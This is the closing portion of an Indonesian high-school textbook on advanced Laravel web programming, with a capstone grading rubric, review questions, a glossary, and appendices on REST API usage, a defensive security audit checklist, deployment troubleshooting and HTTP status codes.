Presentasi proyek capstone dilakukan dalam format yang menyerupai simulasi wawancara kerja atau demo produk kepada calon pengguna, bukan sekadar presentasi akademik biasa. Setiap peserta didik/kelompok diberikan waktu terbatas (disarankan 10–15 menit) untuk: (1) menjelaskan masalah nyata yang diselesaikan aplikasi menggunakan kerangka STAR, (2) melakukan demo langsung aplikasi yang telah di-deploy, mencakup alur login, CRUD, dan minimal satu fitur berbasis API, (3) menunjukkan hasil test otomatis dan status CI pada GitHub, dan (4) menjawab pertanyaan teknis dari guru atau audiens, mensimulasikan sesi tanya jawab wawancara kerja sungguhan.

14.4 Rubrik Penilaian Capstone

Aspek	Bobot	Indikator
Fungsionalitas Inti (CRUD, Auth, Relasi)	20%	Seluruh fitur dari kelas XI tetap berjalan sempurna dan telah disempurnakan
Otorisasi Berjenjang	10%	Role admin dan pengguna biasa berfungsi dengan batasan akses yang jelas
REST API & Konsumsi API	20%	Endpoint API berfungsi, terlindungi Sanctum, dikonsumsi frontend menggunakan Fetch
Keamanan	15%	Checklist audit terpenuhi, tidak ada kerentanan dasar yang ditemukan
Testing & CI	15%	Feature Test relevan tersedia dan workflow GitHub Actions berjalan sukses
Deployment	10%	Aplikasi dapat diakses melalui jaringan pada server Ubuntu
Presentasi & Portofolio	10%	Narasi STAR jelas, README profesional, mampu menjawab pertanyaan teknis

Soal Latihan / Refleksi

105. Jelaskan mengapa mengerjakan role-based access control lebih dahulu (sebelum fitur lain) merupakan urutan yang disarankan pada tahapan pengerjaan proyek capstone.

106. Rancang skenario STAR singkat untuk mempresentasikan salah satu fitur paling menantang pada proyek capstone-mu.

107. Jelaskan bagaimana workflow GitHub Actions yang telah dikonfigurasi pada proyekmu memberikan nilai tambah saat dipresentasikan kepada calon pemberi kerja.

108. Refleksikan: dari seluruh rangkaian tiga buku Pemrograman Web (kelas X hingga XII), kompetensi mana yang paling mengubah caramu memandang profesi pengembang perangkat lunak, dan mengapa?

BAB 15 — Rangkuman dan Evaluasi Akhir

Bab ini menjadi konsolidasi akhir atas seluruh materi Pemrograman Web Lanjutan Kelas XII, sekaligus menutup keseluruhan rangkaian tiga buku Pemrograman Web yang telah dipelajari sejak kelas X.

15.1 Peta Keterkaitan Antar Bab

Buku ini menyempurnakan aplikasi CRUD dari kelas XI melalui empat dimensi: **otorisasi** (Bab 2) yang membedakan hak akses, **konektivitas** (Bab 3–4) yang memungkinkan data diakses sistem lain melalui API, **keamanan** (Bab 5–6) yang mengaudit dan memperkuat aplikasi terhadap kerentanan umum serta menangani berkas dengan aman, dan **keandalan operasional** (Bab 7–9, 11) yang mencakup proses latar belakang, pengujian otomatis, deployment produksi, dan otomatisasi CI. Bab 10 menjadi jembatan istimewa yang menyatukan kompetensi jaringan dan web sebagai ciri khas TJKT, sementara Bab 12–13 melengkapi seluruh kompetensi teknis dengan keterampilan bekerja bersama AI secara profesional dan mempersiapkan diri menghadapi dunia kerja, seluruhnya bermuara pada proyek capstone di Bab 14.

15.2 Rekapitulasi Perjalanan Tiga Buku Pemrograman Web

Jenjang	Fokus Utama	Puncak Capaian
Kelas X	Logika pemrograman, HTML/CSS/JS, PHP native dasar	Landing page dengan form login sederhana
Kelas XI	Framework Laravel, OOP, MVC, CRUD terstruktur	Aplikasi CRUD lengkap dengan autentikasi
Kelas XII (Buku Ini)	API, keamanan, testing, deployment, kesiapan kerja	Proyek capstone siap produksi dan portofolio profesional

Perjalanan ini mencerminkan evolusi nyata seorang pengembang web pemula menuju junior developer yang siap bekerja — dimulai dari memahami cara komputer 'berpikir' secara logis, dilanjutkan dengan mempelajari cara mengorganisasikan kode secara profesional, dan diakhiri dengan kemampuan membangun, mengamankan, menguji, dan menerbitkan aplikasi yang benar-benar dapat digunakan oleh pengguna sungguhan.

15.3 Arah Setelah Kelulusan

Peserta didik yang telah menuntaskan ketiga buku ini memiliki portofolio dan kompetensi yang relevan untuk melamar posisi junior web developer, magang di perusahaan teknologi, atau melanjutkan pendidikan di bidang informatika/rekayasa perangkat lunak dengan fondasi yang jauh lebih kuat dibanding rekan-rekan yang baru memulai dari nol. Kombinasi unik kompetensi jaringan (dari mata pelajaran Jaringan Dasar, Keamanan Jaringan, dan Perencanaan Pengalamatan Jaringan) dengan kompetensi pemrograman web menjadikan lulusan Program Keahlian TJKT memiliki profil yang jarang dimiliki lulusan program

keahlian lain — mampu membangun aplikasi web sekaligus memahami infrastruktur jaringan yang menjadi tempat aplikasi tersebut berjalan, sebuah kombinasi yang semakin dicari pada era di mana batas antara 'developer' dan 'infrastructure engineer' semakin kabur di banyak organisasi teknologi modern (peran yang dikenal industri sebagai DevOps).

Soal Latihan / Refleksi

109. Jelaskan bagaimana Bab 2 hingga Bab 9 pada buku ini masing-masing menyempurnakan satu dimensi berbeda dari aplikasi CRUD yang telah dibangun pada kelas XI.

110. Rangkum perjalanan belajarmu dari kelas X hingga kelas XII dalam mata pelajaran Pemrograman Web — pencapaian apa yang paling kamu banggakan?

111. Jelaskan mengapa kombinasi kompetensi jaringan dan pemrograman web menjadi nilai tambah unik bagi lulusan TJKT dibanding lulusan program keahlian lain.

112. Sebagai penutup, rancang satu rencana pengembangan diri (tiga bulan ke depan) untuk terus mengasah kompetensi pemrograman web setelah lulus, merujuk pada peta jalan belajar mandiri yang relevan.

Glosarium

API Resource — class Laravel yang mengatur struktur JSON response secara terkontrol.

CI/CD — Continuous Integration/Continuous Deployment, otomatisasi testing dan deployment.

CSRF — Cross-Site Request Forgery, serangan yang mengecoh pengguna login mengirim permintaan tanpa sadar.

Fetch API — antarmuka JavaScript untuk mengirim permintaan HTTP secara asynchronous.

GitHub Actions — platform otomatisasi workflow terintegrasi dengan repositori GitHub.

Job — satuan tugas yang dapat dijalankan di latar belakang melalui sistem Queue Laravel.

Mass Assignment — kerentanan yang terjadi ketika input pengguna diteruskan langsung ke database tanpa penyaringan kolom.

Middleware — lapisan yang memeriksa/memodifikasi request sebelum mencapai Controller.

PHPUnit/Pest — framework testing PHP untuk menulis dan menjalankan automated test.

Policy — mekanisme otorisasi Laravel berbasis objek data spesifik.

Queue — sistem antrean untuk memproses tugas berat di latar belakang tanpa memblokir respons.

REST API — gaya arsitektur antarmuka pemrograman berbasis HTTP verb dan resource.

Role-Based Access Control (RBAC) — sistem otorisasi yang membedakan hak akses berdasarkan peran pengguna.

Sanctum — paket Laravel untuk autentikasi API berbasis token.

STAR — Situation, Task, Action, Result — kerangka bercerita untuk wawancara kerja.

Vibecoding — gaya pengembangan perangkat lunak berbasis kolaborasi intensif dengan AI.

Workflow (GitHub Actions) — serangkaian langkah otomatis yang dijalankan saat peristiwa tertentu terjadi pada repositori.

XSS — Cross-Site Scripting, serangan penyisipan kode JavaScript berbahaya melalui input yang tidak disaring.

Lampiran: Referensi Cepat REST API dan Sanctum

Kode/Perintah	Fungsi
Route::apiResource('nama', Controller::class)	Mendaftarkan lima rute API standar (tanpa create/edit)
response()->json($data, $status)	Mengembalikan response JSON dengan kode status tertentu
php artisan make:resource NamaResource	Membuat API Resource untuk mengatur struktur JSON
$user->createToken('nama')->plainTextToken	Menghasilkan token Sanctum untuk autentikasi API
Route::middleware('auth:sanctum')	Melindungi rute API agar hanya dapat diakses dengan token valid
fetch(url, {method, headers, body})	Mengirim permintaan HTTP dari JavaScript
Authorization: Bearer {token}	Header yang menyertakan token autentikasi pada permintaan API

Lampiran: Checklist Audit Keamanan Aplikasi Laravel

Gunakan checklist berikut sebelum aplikasi diterbitkan ke produksi, merangkum seluruh praktik keamanan yang telah dipelajari sepanjang buku ini.

Kategori	Item Pemeriksaan	Status
XSS	Tidak ada penggunaan {!! !!} untuk menampilkan input pengguna secara langsung	☐
CSRF	Seluruh form POST/PUT/DELETE menyertakan @csrf	☐
Mass Assignment	Kolom sensitif (role, is_admin) tidak terdaftar pada $fillable	☐
Otorisasi	Rute dan aksi sensitif dilindungi middleware/Policy yang sesuai	☐
Password	Seluruh password disimpan menggunakan hashing (bukan plaintext)	☐
File Upload	Validasi jenis dan ukuran berkas diterapkan pada seluruh input file	☐
API	Endpoint sensitif dilindungi Sanctum, tidak dapat diakses tanpa token	☐
Environment	APP_DEBUG=false dan kredensial database aman pada .env produksi	☐
Command Injection	Input yang diteruskan ke shell_exec() dibungkus escapeshellarg()	☐

Lampiran: Ide Pengembangan Lanjutan Proyek Capstone

Bagi peserta didik yang ingin terus mengembangkan proyek capstone setelah kelulusan sebagai bagian dari portofolio berkelanjutan, berikut beberapa ide pengembangan lanjutan yang dapat dieksplorasi secara mandiri.

Ide Pengembangan	Kompetensi yang Diperluas
Menambahkan notifikasi real-time menggunakan Laravel Broadcasting/WebSocket	Melampaui Fetch API (Bab 4) menuju komunikasi dua arah secara langsung
Membangun aplikasi mobile pendamping menggunakan REST API yang sudah ada	Memanfaatkan API (Bab 3) sebagai backend untuk platform Flutter/React Native
Menerapkan Docker untuk containerization aplikasi	Melampaui deployment manual (Bab 9) menuju standar deployment modern
Menambahkan dashboard analitik dengan grafik menggunakan Chart.js	Memperkaya visualisasi data pada dashboard (Bab 10)
Menerapkan automated deployment penuh (Continuous Deployment)	Melampaui CI dasar (Bab 11) menuju otomatisasi deployment produksi

Lampiran: Troubleshooting Deployment dan API

Lampiran ini merangkum masalah umum yang sering ditemui saat deployment Laravel ke server dan saat membangun/mengonsumsi REST API, sebagai referensi cepat saat praktik.

Gejala	Kemungkinan Penyebab	Solusi
Halaman menampilkan 502 Bad Gateway	PHP-FPM tidak berjalan atau socket path salah pada konfigurasi Nginx	Periksa sudo systemctl status php8.2-fpm dan path socket pada konfigurasi
Aplikasi berjalan namun CSS/JS tidak termuat	Aset belum di-build atau permission folder public salah	Jalankan npm run build, periksa kembali chown pada folder public
Endpoint API mengembalikan HTML error, bukan JSON	Rute terdaftar pada web.php, bukan api.php	Pastikan rute API didaftarkan pada routes/api.php agar otomatis berprefix /api
Fetch API gagal dengan error CORS	Permintaan berasal dari domain berbeda tanpa izin CORS	Konfigurasi config/cors.php untuk mengizinkan origin yang sesuai
Token Sanctum selalu ditolak (401 Unauthorized)	Header Authorization tidak disertakan atau format token salah	Pastikan header persis 'Authorization: Bearer {token}' tanpa spasi berlebih
Migration gagal di server namun berhasil di lokal	Versi MySQL berbeda atau .env produksi belum sesuai	Periksa kembali DB_* pada .env server dan versi MySQL yang terinstal

Lampiran: Checklist Proyek Capstone

Gunakan checklist berikut sebagai panduan akhir memastikan proyek capstone (Bab 14) telah memenuhi seluruh aspek yang diharapkan sebelum presentasi.

Aspek	Kriteria	Sudah?
Fondasi CRUD	Seluruh fitur dari proyek kelas XI tetap berjalan sempurna	☐
Otorisasi	Role admin dan pengguna biasa dibedakan dengan middleware/Policy	☐
REST API	Endpoint API tersedia, terlindungi Sanctum, menggunakan API Resource	☐
Konsumsi API	Minimal satu halaman menggunakan Fetch tanpa reload penuh	☐
Keamanan	Checklist audit keamanan (Lampiran 2) terpenuhi	☐
File Upload	Fitur unggah berkas berfungsi dengan validasi yang tepat	☐
Testing	Minimal tiga Feature Test tersedia dan seluruhnya lulus	☐
CI	Workflow GitHub Actions berjalan otomatis dan berstatus sukses	☐
Deployment	Aplikasi dapat diakses melalui jaringan pada server Ubuntu	☐
Portofolio	README lengkap, profil GitHub rapi, narasi STAR siap dipresentasikan	☐

Lampiran: Referensi Kode Status HTTP untuk REST API

Lampiran ini merangkum kode status HTTP yang paling umum digunakan dan ditemui saat membangun serta menguji REST API sepanjang buku ini, sebagai referensi cepat.

Kode	Nama	Kapan Digunakan
200	OK	Permintaan berhasil, umum digunakan pada GET dan PUT/PATCH yang sukses
201	Created	Data baru berhasil dibuat, umum digunakan sebagai response method store() (Bab 3)
204	No Content	Permintaan berhasil namun tidak ada data yang dikembalikan, umum untuk method destroy()
401	Unauthorized	Permintaan memerlukan autentikasi namun token tidak disertakan/tidak valid (Bab 3)
403	Forbidden	Pengguna terautentikasi namun tidak memiliki otorisasi untuk aksi ini (Bab 2)
404	Not Found	Data atau endpoint yang diminta tidak ditemukan
419	Page Expired	Token CSRF tidak valid atau kedaluwarsa (Bab 5)
422	Unprocessable Entity	Data yang dikirim gagal validasi (Bab 3, 8)
429	Too Many Requests	Batas rate limiting terlampaui (Bab 3)
500	Internal Server Error	Terjadi kesalahan tak terduga pada kode server
502	Bad Gateway	Web server tidak dapat berkomunikasi dengan PHP-FPM (Bab 9)

Lampiran: Perbandingan Menyeluruh Tiga Jenjang Buku Pemrograman Web

Lampiran ini menyajikan perbandingan menyeluruh untuk membantu peserta didik dan guru melihat gambaran besar (big picture) perjalanan kompetensi Pemrograman Web dari kelas X hingga XII.

Aspek	Kelas X	Kelas XI	Kelas XII
Bahasa/Tools Utama	HTML, CSS, JS, PHP native	PHP OOP, Laravel, Blade, Eloquent	Laravel lanjutan, Sanctum, Pest, Nginx
Arsitektur	Prosedural, satu file per halaman	MVC terstruktur	MVC + REST API + layanan pendukung
Data	Query manual mysqli	Eloquent ORM	Eloquent + API Resource + Queue
Keamanan	Password hashing, prepared statement dasar	CSRF & validasi bawaan Laravel	Audit XSS/mass assignment, rate limiting, RBAC
Pengujian	Manual (klik-klik browser)	Manual	Automated testing (Pest) + CI otomatis
Deployment	LAMP stack dasar (Bab 14)	Localhost (php artisan serve)	LEMP stack produksi + HTTPS + CI/CD
Vibecoding	Pengenalan konsep dan prompting dasar	Boilerplate, debugging, code review	Testing, security review, dokumentasi, etika tim
Puncak Proyek	Landing page + form login	CRUD Laravel + autentikasi	Aplikasi capstone siap produksi + portofolio

Tabel ini dapat digunakan sebagai bahan orientasi bagi guru baru yang mengampu mata pelajaran Pemrograman Web di jenjang mana pun, membantu memahami prasyarat yang seharusnya telah dikuasai peserta didik serta arah pengembangan kompetensi pada jenjang berikutnya.

Daftar Pustaka

Laravel Documentation. The PHP Framework for Web Artisans — https://laravel.com/docs.

Laravel Sanctum Documentation. API Token Authentication.

Pest PHP Documentation. Elegant PHP Testing — https://pestphp.com.

GitHub Documentation. GitHub Actions — https://docs.github.com/actions.

Nginx Documentation. Official Nginx Configuration Guide.

OWASP Foundation. OWASP Top Ten — Application Security Risks.

Kemdikbudristek. Capaian Pembelajaran Mata Pelajaran Pemrograman Web Lanjutan, Kurikulum Merdeka SMK Program Keahlian TJKT.